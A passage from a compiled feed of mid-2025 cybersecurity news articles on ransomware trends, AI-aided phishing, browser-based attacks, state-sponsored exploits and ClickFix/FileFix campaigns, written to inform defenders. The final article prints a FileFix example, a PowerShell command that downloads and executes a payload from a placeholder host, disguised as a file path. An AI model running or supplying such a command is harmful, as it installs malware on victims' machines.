ago," he said. "I'm sure there are going to be other variants coming soon now that people have realized how effective this is." ®
go.theregister.comSep 16, 2025extracted
Ransomware Losses Climb as AI Pushes Phishing to New Heights
Ransomware remains the primary digital threat to business. Phishing, often the initial point of failure, further expands into voice triggered transfer fraud. An analysis of risk based on cyberinsurance claims history provides an accurate overview of the true risk of cybercrime. It doesn’t provide a full global picture of risk since it can only be drawn from known cyberinsurance claims. Resilience is a cyberinsurance provider with a deep knowledge of cybersecurity. There are three major takeaways from the 2025 Midyear Cyber Risk Report produced by Resilience: vendor-related risk is down but still significant; ransomware remains the main threat; and phishing has leapt to clear prominence as the most common point of failure (aided in scale and sophistication by AI). The report notes a reduction in vendor-related risk (down from 22% of incurred losses in 2024 to 15% in H1 2025), but stresses that the downstream loss to affected companies remains high. “While incidents dropped in frequency, clients who experienced business interruption from a vendor-related incident had significant losses that rivaled losses from companies directly affected by ransomware.” This is an unseen risk that can only be addressed by continuously monitoring the vendors’ security posture. Ransomware attacks in H1 increased dramatically — a 73% increase in Q1 2025 — but this may have been caused as much by turbulence in the ransomware threat actor market as by the evolution of ransomware and the assistance of AI. The ransomware threat is resilient. It adapts quickly to threats against its own profitability. This is seen in the rapid evolution to, and use of, triple extortion as victims fought back to avoid loss. Improved backup and recovery led to a greater disinclination to pay classic encryption-based ransoms – so, the criminals added data exfiltration with a threat to disclose sensitive information if the ransom is unpaid (double extortion). Double extortion doesn’t work if companies encrypt their data (which they should, and hopefully increasingly do); so, the criminals are evolving into triple extortion — often the threat of a DDoS attack to maintain disruption and cost on the victim. Triple extortion maximizes the threat to operational continuity, compliance, and brand reputation. More subtle persuasion comes from criminals linking their monetary demand to the victim’s cyberinsurance policies, keeping the amount to just below the amount that can be claimed. The implication is that all the disruption and cost can be avoided if the victim simply pays up and gets reimbursed through insurance. The report advises: don’t panic, and don’t be afraid to negotiate. In February 2025, a high end real estate firm discovered it had been compromised by Chaos ransomware. The company was able to continue operating but faced a serious threat If the exfiltrated data was exposed. This included financial statements, social security numbers and the PII of wealthy residents. The demand was a payment of $4 million. Resilience negotiated with Chaos. “Calculated delays, strategic radio silence, and psychological pressure tactics to wear down the attackers’ patience” were employed. It worked, and brought the demand initially down to $2 million, and ultimately down to a “final settlement at approximately $615,000”. Threat groups Interlock, Chaos, Medusa, Akira, and Nightspire (which only emerged in 2025) were the primary drivers of attacks on the Resilience portfolio in H1 2025. The cost of ransomware claims has increased by 17% over last year. This is thought to be evidence that the gangs are becoming more adept at who they target, and Scattered Spider is used as an example. “The infamous Scattered Spider threat group, for instance, recently targeted retail, aviation, and insurance companies; we expect to see similar behavior of intense, focused campaigns going forward.” But apart from the size and resourcefulness of the ransomware market, Resilience believes the surge in attacks in Q1 2025 may partly be a side-effect of law enforcement activity. There were rumors the RansomHub group had been targeted. These are unconfirmed, but the group is currently off-line. True or not, Scattered Spider abandoned RansomHub for the DragonForce platform. However, Resilience comments on increased “attacks as ransomware affiliates rushed to cash in on planned campaigns before they were detected.” The report also notes the increased activity of Scattered Spider in 2025. “This surge in activity comes after a quieter period following the arrest of five members in November 2024, suggesting the group’s resilience and ability to continue operations despite law enforcement actions.” The group is thought to comprise young UK- and US-based operatives. During Q1 2025, phishing has surged into the primary initial point of failure for financial loss. This is almost certainly driven by the massive boost in scale and sophistication of social engineering provided by AI. CrowdStrike has reported that AI-generated phishing campaigns achieve a 54% success rate compared to just 12% for traditional attacks. But it isn’t just email phishing that has benefited. “Cybercriminals are increasingly diversifying their attack vectors with AI-driven voice synthesis technology enabling more convincing social engineering tactics.” The report notes that social engineering accounts for 42% of incurred claims and 88% of incurred losses in the first half of 2025. Email, voice BEC attacks, ClickFix / FileFix and SIM swapping are all subsets of phishing and social engineering – and all have been supercharged by AI. Synthetic voice is also being used to increase the success rate of SIM swapping. This is dangerous since a successful attack provides access to the victim’s browser. It can by-pass MFA controls and endpoint detection, and actor activity does not automatically get flagged by anomaly detection systems. The most obvious target for phishing is credential harvesting. Amply supported by the growth in number and sophistication of infostealers, Resilience reports that 1.8 billion credentials were compromised in the first half of 2025: “an 800% increase since January—including over 1 billion corporate and personal email accounts.” The Resilience report is based on internal cyberinsurance claims and external threat intelligence. This results in genuine knowledge of the effect of cyber incidents that can subsequently be related to threat intelligence to discover trends. Overall, Resilience sees a bad actor community working smarter (with the assistance of AI) rather than harder. For example, commenting on the cost of a ransomware claim increasing by 17%, Resilience suggests, “It’s a sign that threat actors are becoming more systematic in how they target and exploit organizations.” The firm makes several recommendations based on its analysis. For ransomware, it suggests (beyond normal defense in depth) regularly validated robust backup should be employed against simple ransomware; refusal to pay for data suppression in double extortion attacks should be the default (there’s no guarantee the data will ever be fully suppressed – instead concentrate on encrypting sensitive data throughout); and treat cyber insurance policies as critical documents that should be fully protected lest attackers use them against you. For phishing, it suggests greater investment in more sophisticated awareness training to detect AI-based social engineering; and the implementation of AI-driven defenses to detect AI-generated phishing attacks in progress. Related: PromptLock: First AI-Powered Ransomware Emerges Related: BlackSuit Ransomware Group Transitioning to ‘Chaos’ Amid Leak Site Seizure Related: UK Student Sentenced to Prison for Selling Phishing Kits Related: AI-Powered Polymorphic Phishing Is Changing the Threat Landscape
securityweek.comSep 9, 2025extracted
6 browser-based attacks all security teams should be ready for in 2025
What security teams need to know about the browser-based attack techniques that are the leading cause of breaches in 2025. “The browser is the new battleground.” “The browser is the new endpoint”. These are statements you’ll run into time and again as you read articles on websites like this one. But what does this actually mean from a security perspective? In this article, we’ll explore what security teams are trying to stop attackers from doing in the browser, breaking down what a “browser-based attack” is, and what’s required for effective detection and response. What is the goal of a browser-based attack? First, it’s important to establish what the point of a browser-based attack is. In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s Snowflake customer breaches or the still-ongoing Salesforce attacks to see the impact of these attacks. The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers. Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs). Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. With that covered off, let’s take a closer look at the most prevalent browser-based attack techniques being used by attackers in the wild today. The 6 key browser-based attacks that security teams need to know about 1. Phishing for credentials and sessions The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. Whereas phishing was one entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using downgrade attacks). There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks. This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. Check out the latest whitepaper from Push Security to learn how phishing has evolved through generations of phishing tools and techniques, breaking down the different detection evasion techniques that are being used in the wild today. Download now 2. Malicious code delivery (aka. ClickFix, FileFix, etc.) One of the biggest security trends in the past year has been the emergence of the attack technique known as ClickFix. Originally known as “Fake CAPTCHA”, these attacks attempt to trick users into running malicious commands on their device — typically by solving some form of verification challenge in the browser. In reality, by solving the challenge, the victim is actually copying malicious code from the page clipboard and running it on their device. It typically gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell. Variants such as FileFix have also emerged which instead uses the File Explorer Address Bar to execute OS commands, while recent examples have seen this attack branch out to Mac via the macOS terminal. Most commonly, these attacks are used to deliver infostealer malware, using stolen session cookies and credentials to access business apps and services. Like modern credential and session phishing, links to malicious pages are distributed over various delivery channels and using a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. The variance in lure, and differences between different versions of the same lure, can make it difficult to fingerprint and detect based on visual elements alone. Also, many of the same protections being used to obfuscate and prevent analysis of phishing pages also apply to ClickFix pages, making it equally challenging to detect and block them. This leaves most of the detection and blocking down to endpoint-layer controls around user-level code execution and malware running on a device. The quantity of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. There is a significant opportunity to detect these attacks in the browser and stop them at the earliest opportunity, before they reach the endpoint. Every ClickFix attack and variant has a key action in common — malicious code is copied from the page’s clipboard. In some cases, this happens without any user interaction (where the only requirement on the user is to run code that has been silently copied behind the scenes), presenting a strong indicator of malicious behavior that can be observed in the browser. 3. Malicious OAuth integrations Malicious OAuth integrations are another way for attackers to compromise an app by tricking a user into authorizing an integration with a malicious, attacker-controlled app, with the level of data access and functionality dictated by the scopes authorized in the request. This is an effective way for attackers to bypass hardened authentication and access controls by sidestepping the typical login process to take over an account and compromise business apps. This includes phishing-resistant MFA methods like passkeys — since the standard login process does not apply. A variant of this attack has dominated the headlines recently with the ongoing Salesforce breaches. In this scenario, the attacker tricked the victim into authorizing an attacker-controlled OAuth app via the device code authorization flow in Salesforce, which requires the user to enter an 8-digit code in place of a password or MFA factor. Preventing malicious OAuth grants being authorized requires tight in-app management of user permissions and tenant security settings. This is no mean feat when considering the 100s of apps in use across the modern enterprise, many of which are not centrally managed by IT and security teams (or in some cases, are completely unknown to them). Even then, you’re limited by the controls made available by the app vendor. In this case, Salesforce has announced planned changes to OAuth app authorization in order to improve security prompted by these attacks — but many more apps with insecure configs exist for attackers to take advantage of in future. However, unlike app-specific integrations, browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn’t manage or know about, or without needing to pay for the app’s special security add-on to get visibility. 4. Malicious browser extensions Malicious browser extensions are another way for attackers to compromise your business apps by observing and capturing logins as they happen, and/or extracting session cookies and credentials saved in the browser cache and password manager. Attackers do this by creating their own malicious extension and tricking your users into installing it, or taking over an existing extension to gain access to browsers where it is already installed (it’s very easy for attackers to buy and add malicious updates to existing extensions, easily passing extension web store security checks). The news around extension-based compromises has been on the rise since the Cyberhaven extension was hacked in December 2024, along with at least 35 other extensions. Since then, there has been regular reporting on data-stealing extensions impersonating legitimate brands, and impacting millions of users. Risky browser extension permissions include broad data access, the ability to modify website content, track user activity, capture screenshots, and manage tabs or network requests. Permissions like "read and change all data on all websites" or access to cookies and browsing history are particularly dangerous as they can be exploited for session hijacking, data theft, malware injection, or phishing. Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. The reality, however, is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they’re exposed to as a result. To tackle malicious extensions, security tools operating in the browser can track the browser extensions deployed, highlight risky permissions, compare with known-malicious extensions, identify fraudulent/unofficial versions of a legitimate extension, and highlight other risky properties commonly associated with malicious extensions (e.g. “Developer” extensions). 5. Malicious file delivery Malicious files have been a core part of malware delivery and credential theft for many years. Just as non-email channels like malvertising and drive-by attacks are used to deliver phishing and ClickFix lures, malicious files are also distributed through similar means — leaving malicious file detection to basic known-bad checks, sandbox analysis using a proxy (not that useful in the context of sandbox-aware malware) or runtime analysis on the endpoint. This doesn’t just have to be malicious executables directly dropping malware onto the device. File downloads can also contain additional links taking the user to malicious content. In fact, one of the most common types of downloadable content are HTML Applications (HTAs), commonly used to spawn local phishing pages to stealthily capture credentials. More recently, attackers have been weaponizing SVG files for a similar purpose, running as self-contained phishing pages that render fake login portals entirely client-side. Even if malicious content cannot always be flagged from surface-level inspection of a file, recording file downloads in the browser is a useful addition to endpoint-based malware protection, and provides another layer of defense against file downloads that perform client-side attacks, or redirect the user to malicious web-based content. 6. Stolen credentials and MFA gaps This last one isn’t so much a browser-based attack, but it is a product of them. When credentials are stolen through phishing or infostealer malware they can be used to take over accounts missing MFA. This isn’t the most sophisticated attack, but it’s very effective. You need only look at last year’s Snowflake account compromises or the Jira attacks earlier this year to see how attackers harness stolen credentials at scale. With the modern enterprise using hundreds of apps, the likelihood that an app hasn’t been configured for mandatory MFA (if possible) is high. And even when an app has been configured for SSO and connected to your primary corporate identity, local “ghost logins” can continue to exist, accepting passwords with no MFA required. Logins can also be observed in the browser — in fact, it’s as close to a universal source of truth as you’re going to get about how your employees are actually logging in, which apps they’re using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited by attackers. Conclusion Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams. Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface. If you want to learn more about how Push helps you to detect and stop attacks in the browser, book some time with one of our team for a live demo. Sponsored and written by Push Security.
bleepingcomputer.comSep 4, 2025extracted
State-Sponsored Hackers Behind Majority of Vulnerability Exploits
The majority (53%) of attributed vulnerability exploits in the first half 2025 were conducted by state-sponsored actors for strategic, geopolitical purposes, according to a new report by Recorded Future’s Insikt Group. The researchers said the findings demonstrate the growing ability of well-resourced state-sponsored groups to weaponize flaws rapidly following disclosure. Geopolitical purposes, such as espionage and surveillance, are the key motives for these threat actors. “The significant state-sponsored involvement also implies that these threats are not just random or opportunistic but often targeted and persistent campaigns aiming at specific sectors or high-value systems,” they noted. The majority of state-sponsored campaigns were conducted by Chinese state-sponsored actors. These groups primarily targeted edge infrastructure and enterprise solutions, a tactic that has continued since 2024. The suspected China-linked group UNC5221 exploited the highest number of vulnerabilities in H1 2025. It demonstrated a preference for Ivanti products, including Endpoint Manager Mobile, Connect Secure and Policy Secure. Financially motivated groups accounted for the remaining 47% of vulnerability exploits – 27% were made up of those actors involved in theft and fraud but not linked to ransomware and 20% attributed to ransomware and extortion groups. The researchers predicted that the exploitation of edge security appliances, remote access tools and other gateway-layer software will remain a top priority for both state-sponsored and financially-motivated groups. “The strategic value of these systems – acting as intermediaries for encrypted traffic and privileged access – makes them high-reward targets,” they noted. Microsoft was the most targeted vendor, with the tech giant’s products accounting for 17% of exploitations. Most Vulnerability Exploits Required No Authentication Insikt Group’s H1 2025 Malware and Vulnerability Trends report, published on August 28, found that the total number of disclosed common vulnerabilities and exposures (CVEs) grew 16% year-over-year. Attackers exploited 161 distinct vulnerabilities in the six-month period, up from 136 in H1 2024. Of the 161 flaws, 69% required no authentication to exploit, while 48% could be exploited remotely over a network. “This heavy tilt toward unauthenticated, remote exploits means that attacks can be launched directly from the internet against vulnerable hosts, with no credentials or insider access needed,” the researchers commented. Additionally, 30% of the exploited CVEs enabled remote code execution (RCE), which often grants an attacker full control over the target system. ClickFix Becomes a Favored Initial Access Technique The report observed that ransomware actors adopted new initial access techniques in H1 2025. This included a significant increase in ClickFix social engineering attacks. ClickFix involves the use of a fake error or verification message to manipulate victims into copying and pasting a malicious script and then running it. The tactic preys on users’ desire to fix problems themselves rather than alerting their IT team or anyone else. Therefore, it is effective at bypassing security protections as the victim infects themselves. The Interlock gang was observed using ClickFix in campaigns in January and February 2025. The group has also leveraged FileFix in later attacks. This tactic is an evolution on ClickFix, where users are tricked into pasting a malicious file path into a Windows File Explorer’s address bar rather than using a dialog box. Inskit group assess that the success of ClickFix means this method will remain a favored initial access technique through the rest of 2025 unless widespread mitigations reduce its effectiveness. Post-compromise, ransomware groups have increased their use of endpoint detection and response (EDR) evasion via bring-your-own-installer (BYOI) techniques, and custom payloads using just-in-time (JIT) hooking and memory injection to bypass detection.
infosecurity-magazine.comAug 29, 2025extracted
Fake macOS help sites push Shamos infostealer via ClickFix technique
Fake macOS help sites push Shamos infostealer via ClickFix technique Criminals are taking advantage of macOS users’ need to resolve technical issues to get them to infect their machines with the Shamos infostealer, Crowdstrike researchers have warned. To prevent macOS security features from blocking the installation, the malware peddlers are using the so-called ClickFix technique, which relies on users running malicious commands. The Shamos malware delivery campaign For the campaign, which unfolded between June and August 2025, the cyber crooks created fraudulent macOS help websites and made Google Search deliver ads pointing to them: Malicious ad pops up (Source: Crowdstrike) The fraudulent websites, parked on mac-safer[.]com and rescue-mac[.]com, provided instructions on how they can fix the problem they are having. Unfortunately, the instructions don’t solve the issue. Instead, they trigger the installation of Shamos – a variant of the Atomic macOS infostealer – when users copy, paste, and execute a specific one-line command in the Terminal app. The malicious instructions (Source: Crowdstrike) “The malicious installation command downloads Shamos Mach-O [file] into the /tmp/ directory, removes extended file attributes using xattr likely for bypassing Gatekeeper checks, assigns executable permissions via chmod, and then executes the stealer. Shamos executes anti-VM commands to verify that the Mach-O is not executing in a suspected sandbox environment,” Crowdstrike researchers explained. “The stealer then executes a variety of AppleScript commands for host reconnaissance and data collection tasks, including searching for known cryptocurrency-related wallet files and sensitive credential-based files on disk. Shamos attempts to exfiltrate collected sensitive files, including data from Keychain, AppleNotes, and browsers, using curl to transmit the data in a ZIP archive named out.zip.i2.” The malware also downloads a spoofed Ledger Live wallet application and a botnet module, and attempts for create/save a Plist file to assure its persistence. The researchers have also spotted an additional malvertising campaign for delivering Shamos, in which the criminals set up a GitHub repository ostensibly providing the popular iTerm2 terminal emulator for download. The instructions for installing the emulator included the same Shamos one-line installation command. Why cyber crooks love ClickFix “The one-line installation command enables eCrime actors to directly install the Mach-O executable onto the victim’s machine while bypassing Gatekeeper checks,” CrowdStrike researchers noted. ClickFix is a relatively new social engineering technique but, according to ESET, its use has skyrocketed in Q2 2025. Used by both cybercriminals and APT groups, its effectiveness (and subsequent popularity) is due to a combination of: Convincing error and fake CAPTCHA messages Simple instructions that are too technical for the average user to understand The trick reliably working on Windows, macOS and Linux users, and a multitude of campaigns targeting them via phishing emails, social media, ads mixed with search results, etc. “Microsoft Threat Intelligence has observed several threat actors selling the ClickFix builders (also called ‘Win + R’) on popular hacker forums since late 2024. Some of these actors are bundling ClickFix builders into their existing kits that already generate various files such as LNK, JavaScript, and SVG files,” Microsoft has shared last week. “The kits offer creation of landing pages with a variety of available lures including Cloudflare. They also offer construction of malicious commands that users will paste into the Windows Run dialog.” The effectiveness of the ClickFix tactic has also spurred security researcher mr.d0x to come up with FileFix, a similar technique that can be used to make users execute malicious commands by performing everyday Windows actions (e.g., using Windows File Explorer). And, according to Check Point researchers, it didn’t take long for threat actors to start experimenting with it. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comAug 25, 2025extracted
The Heat Wasn't Just Outside: Cyber Attacks Spiked in Summer 2025
Summer 2025 wasn't just hot; it was relentless. Ransomware hammered hospitals, retail giants suffered data breaches, insurance firms were hit by phishing, and nation-state actors launched disruptive campaigns. From stealthy PowerShell loaders to zero-day SharePoint exploits, attackers kept defenders on their heels. This report breaks down the season's most high-impact incidents and what security teams need to do before the next wave hits. Summer Expose Healthcare's Growing Ransomware Risk Hospitals can't afford downtime, and attackers know it. This summer, ransomware groups targeted healthcare, exploiting both the value of patient data and the urgency of care. Interlock rises as a major threat to US healthcare A July 22, 2025, joint advisory by CISA, FBI, and HHS highlighted Interlock as a major threat to the Healthcare and Public Health (HPH) sector. The group is linked to around 14 incidents in 2025 alone, with a third affecting only healthcare providers. What sets Interlock apart is its use of "FileFix," a PowerShell launcher that hides malicious scripts behind decoy file paths. It tricks users into running payloads through File Explorer, bypassing typical security detections. Rhysida ransomware targeted another US healthcare center On July 8, 2025, the Rhysida ransomware group allegedly leaked sensitive data from Florida Hand Center, including medical images, driver's licenses, and insurance forms. The clinic, which serves patients in Punta Gorda, Port Charlotte, and Fort Myers, was given just seven days to respond before the release. Qilin recycles Scattered Spider playbook in wave of healthcare breaches In June 2025, Qilin became the most active ransomware group, recording 81 victims, 52 of them in the healthcare sector. The group exploited unpatched Fortinet vulnerabilities (CVE-2024-21762 and CVE-2024-55591) to gain access, deploy ransomware, and exfiltrate sensitive data such as EHRs and insurance records. To maximize pressure, Qilin went beyond encryption, leveraging legal-themed extortion tactics like a "Call Lawyer" feature and automated negotiation tools to drive faster payouts. Proactively test and validate your security controls against Summer 2025’s most impactful threats—including Interlock, Qilin, DragonForce, Scattered Spider, and ToolShell—with the Picus Security Validation Platform. Start your 14-day free trial now and discover your readiness in minutes. Test with a Free Trial Major Brands Breached in Retail Cybercrime Wave The retail sector couldn't escape the wave of cyberattacks sweeping through Summer 2025. Louis Vuitton breach marks third in a quarter On July 2, 2025, Louis Vuitton UK suffered a data breach exposing customer contact info and purchase history, its third LVMH brand breach in three months after Dior and LV Korea. Days later, on July 10, UK police arrested four suspects tied to high-profile attacks on M&S, Co-op, and Harrods. The group is allegedly linked to Scattered Spider, a domestic threat actor known for social engineering and collaboration with ransomware operators like DragonForce, signaling the growing impact of homegrown cybercriminals on major retailers. DragonForce hits US retail chain Belk Between May 7 and 11, 2025, on the other side of the Atlantic, North Carolina, based retailer Belk suffered a data breach. DragonForce claimed responsibility, stating it exfiltrated 156 GB of customer and employee data, including names, Social Security numbers, emails, order histories, and HR files, which were later posted on its leak site after ransom negotiations stalled. DragonForce, first emerging in late 2023, operates as a ransomware-as-a-service cartel, listing approximately 136 victims by March 2025, many of whom are in US and UK retail organizations. Scattered Spider's tactics have shifted from retail to insurance Scattered Spider (UNC3944), a native English-speaking cybercriminal collective, used identity-centric social engineering, voice phishing, MFA fatigue, help-desk impersonation, and typosquatted domains to breach UK retailers (M&S, Co-op, Harrods) in April–May 2025. In mid-June 2025, the researchers flagged that Scattered Spider (UNC3944) had shifted from retail to targeting US insurance firms. Aflac detected and contained unauthorized access on June 12, 2025; customer and employee personal data (including SSNs, health claims) may have been compromised. Erie Insurance and Philadelphia Insurance Companies also reported similar cyber disruptions in early to mid-June, resulting in operational downtime. The intrusions matched Scattered Spider's known tactical profile, though no ransomware was deployed, and systems remained operational. State-Sponsored and Geopolitical Cyber Activity Not all cyber threats this summer were about money. Nation-state hackers and hacktivists also made their mark, using the turbulent geopolitical climate to launch attacks. June 14–17, 2025: Pro-Israel hacktivist group Predatory Sparrow hit Iran's Bank Sepah, disrupting banking services, then destroyed ~$90M in crypto by breaching Nobitex and sending tokens to burn wallets. June 30, 2025: The US Department of Homeland Security and CISA issued a joint alert warning of impending Iranian cyber retaliation targeting critical infrastructure in the US and Europe. These incidents serve as a stark reminder that cyber conflict is now a frontline extension of geopolitical tension, one that can ripple far beyond borders and sectors. Key Vulnerabilities Gaining Public Attention Multiple Microsoft SharePoint vulnerabilities were exploited this summer in a widespread cyber espionage campaign known as ToolShell. CVE-2025-53770 is a critical remote code execution flaw allowing unauthenticated attackers to run arbitrary code on vulnerable on-prem SharePoint servers. Threat actors used it to deploy web shells, steal credentials, and move laterally through enterprise networks. CISA added the bug to its KEV catalog on July 20, 2025. CVE-2025-49704 and CVE-2025-49706 were also added to the KEV on July 22 after being abused in chained attacks. The pair enables authentication bypass and code injection, allowing attackers to exploit unpatched SharePoint systems even if earlier fixes were applied. The ToolShell campaign targeted organizations across the US, Europe, and the Middle East, including government agencies, energy firms, and telecom providers. Security researchers say the attackers likely reverse-engineered Microsoft's July Patch Tuesday fixes to develop the bypass used in CVE-2025-53770. What to Take from the Summer Wildfires in Cybersecurity? From hospitals to retail giants and insurance providers to nation-states, the season exposed cracks in even the most fortified environments. Here's what security teams should do next. Patch like your life depends on it, because they do in critical sectors. Start with CISA KEV entries and high-severity CVEs, but don't stop there. Ask the harder question: are you the kind of target that attackers go after? Validate whether each CVE is actually exploitable in your environment. Focus on exploit chains, not just the scores. That's what adversaries are doing. Harden identity as your new perimeter. Social engineering worked better than malware this summer. Stop MFA fatigue attacks, reinforce help-desk verification, and limit privileged access. Train your humans, because they were the breach point. Scattered Spider and others didn't exploit a CVE; they exploited a person. Run regular simulations, update phishing scenarios, and prepare high-risk roles for real-world lures. Watch for what happens after initial access. Threat actors like Interlock and Qilin didn't just drop ransomware; they moved laterally, staged data, and evaded detection. Implement behavioral monitoring for techniques, such as PowerShell abuse, credential theft, and stealthy exfiltration. Don't ignore legacy systems and overlooked infrastructure. Don't ignore legacy systems and overlooked infrastructure. The ToolShell campaign exploited unpatched on-prem SharePoint servers, many running unsupported or outdated versions. Whether it's aging on-prem SharePoint, appliances, or unmonitored legacy gear, isolate what you can't upgrade, monitor what you can't patch, and replace what you've ignored. We strongly suggest simulating the mentioned attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other malware and exploitation campaigns, such as Medusa, Rhysida, and Black Basta, within minutes with a 14-day free trial of the Picus Platform. Sponsored and written by Picus Security.
bleepingcomputer.comAug 5, 2025extracted
Inside a Real Clickfix Attack: How This Social Engineering Hack Unfolds
An inside look at a ClickFix campaign and a real-world attack, its next iteration (FileFix), and how to prevent it in its tracks, before device compromise. ClickFix: Silent Copying to Clipboard ClickFix, a deceptive social engineering tactic, is used by threat actors to manipulate unsuspecting users into unwittingly allowing a web page to silently populate the clipboard. Ultimately, the attacker is attempting to get a user to (unknowingly) execute malicious code, gathered from the browser and quietly placed into the user’s clipboard, on the host machine. Coined initially as “ClickFix” because the social engineering prompts were telling the user they ought to “fix” a problem with their browser and required the user to click an element, this term is now ascribed to any similar attack, one in which a user clicks an element, the page then populates the victim’s clipboard, and it instructs the user to paste the malicious code into their device’s terminal. The above screenshots show an example ClickFix attack. Once the user clicks the fake CAPTCHA, the page silently populates the user’s clipboard with malicious code. It then displays instructions for the user to prove they are human—by pasting (the malicious code) into the Windows Run dialog. For more information about ClickFix, see our article explaining the what, why, where, and how of ClickFix. Keep Aware, the purpose-built browser security platform, detects deceptive interactions in real time, right where they happen. By monitoring clipboard access patterns, flagging suspicious web pages, and disrupting lateral movement techniques like ClickFix, Keep Aware empowers organizations to shut down attacks before they ever leave the browser and reach the host. Request a Demo Real-World Attack: Google Result to ClickFix Attempt A Keep Aware customer recently encountered a ClickFix attack in the wild. While browsing search engine results, the user clicked on a compromised site. This site, injected with malicious JavaScript, delivered a ClickFix prompt, ultimately for the goal of deploying the NetSupportManager RAT backdoor. The user had clicked on the prompt, allowing the page to populate the clipboard (with malicious PowerShell), and instructing the user to paste into the device’s terminal. However, Keep Aware identified, blocked, and warned the user of the suspicious commands the page attempted to populate the clipboard with, effectively preventing device compromise. The video below walks through what visitors experience on this compromised site—a fake CAPTCHA verification frame. Upon clicking the fake CAPTCHA, malicious JavaScript updates the user’s clipboard with malicious PowerShell code and prompts the user to paste it into the Windows Run dialog. Below is a walkthrough of what would have happened if Keep Aware’s safeguards were not in place to limit the user’s actions and clear the user’s clipboard. If the social engineering tactic had been successful and no technical controls had been in place, the user would have unknowingly executed malicious PowerShell code. This kicks of a series of downloads, de-obfuscation, assembling malware on the host machine, and setting up persistence in the user’s Run registry key—enabling the malware to persist on the compromised device and run each time the user logs in to their computer account. For specific details about this real-world attack, including both the initial download cradle and the subsequent PowerShell code, check out our step-by-step walkthrough. Impact: RATs, Stealers, and More ClickFix attacks use malicious JavaScript, clipboard manipulation, and social engineering to ultimately gain the attacker access from the browser to the host device. It has been seen on both malicious and compromised web pages and has been used by multiple threat groups to gain access to victim machines, ultimately deploying malware and remote access trojans (RATs), including AsyncRAT, Skuld Stealer, Lumma Stealer, DarkGate malware, DanaBot stealer, and more. When left undeterred by technical defenses, these seemingly simple clipboard attacks can escalate into full-system compromise, giving threat actors remote control, access to sensitive data, and persistent footholds that are difficult to detect and even harder to remove. The Next Gen: FileFix FileFix is the next iteration, the younger sibling, of ClickFix—another clipboard-manipulation attack designed to trick users into executing code outside the browser context. First documented by security researcher mr.d0x in late June this year, FileFix dupes users into pasting commands directly into File Explorer’s address bar, and threat actors are already adopting this newer technique. At a glance, the pasted output looks harmless, like a standard Windows file path. But hidden at the start is a malicious command; the "file path" that follows is a comment, disguising the real threat. Powershell.exe -c "iwr malicious[.]site/mal.jpg|iex" # C:\Organization\Internal\Drive\Business-RFP.pdf The full data copied to the user’s clipboard is a malicious PowerShell command ending in a comment containing a file path. Notice in the image below, how the seemingly harmless file path in the Explorer’s address bar does not show the actual PowerShell is hidden from the user’s view. Like ClickFix, the FileFix attack originates in the browser and relies on social engineering, clipboard injection, and user action to cross the boundary between browser and host. FileFix is, at its core, a ClickFix attack specific to using File Explorer. Both happen in the browser context. Both use the same clipboard population technique. Both leverage malicious and compromised websites, blurring the line between trusted and malicious web traffic. Both lead to attacker access on the host device. This means that FileFix can be stopped the same way ClickFix is: with browser-native defenses. Browser security solutions, like Keep Aware, detect clipboard population attempts in real-time and intercept suspicious code before it ever reaches the host device. This is why having policies built into the browser ensures that compromises are kept at bay. Browser Security Takes the Main Stage ClickFix and FileFix attacks reveal a critical blind 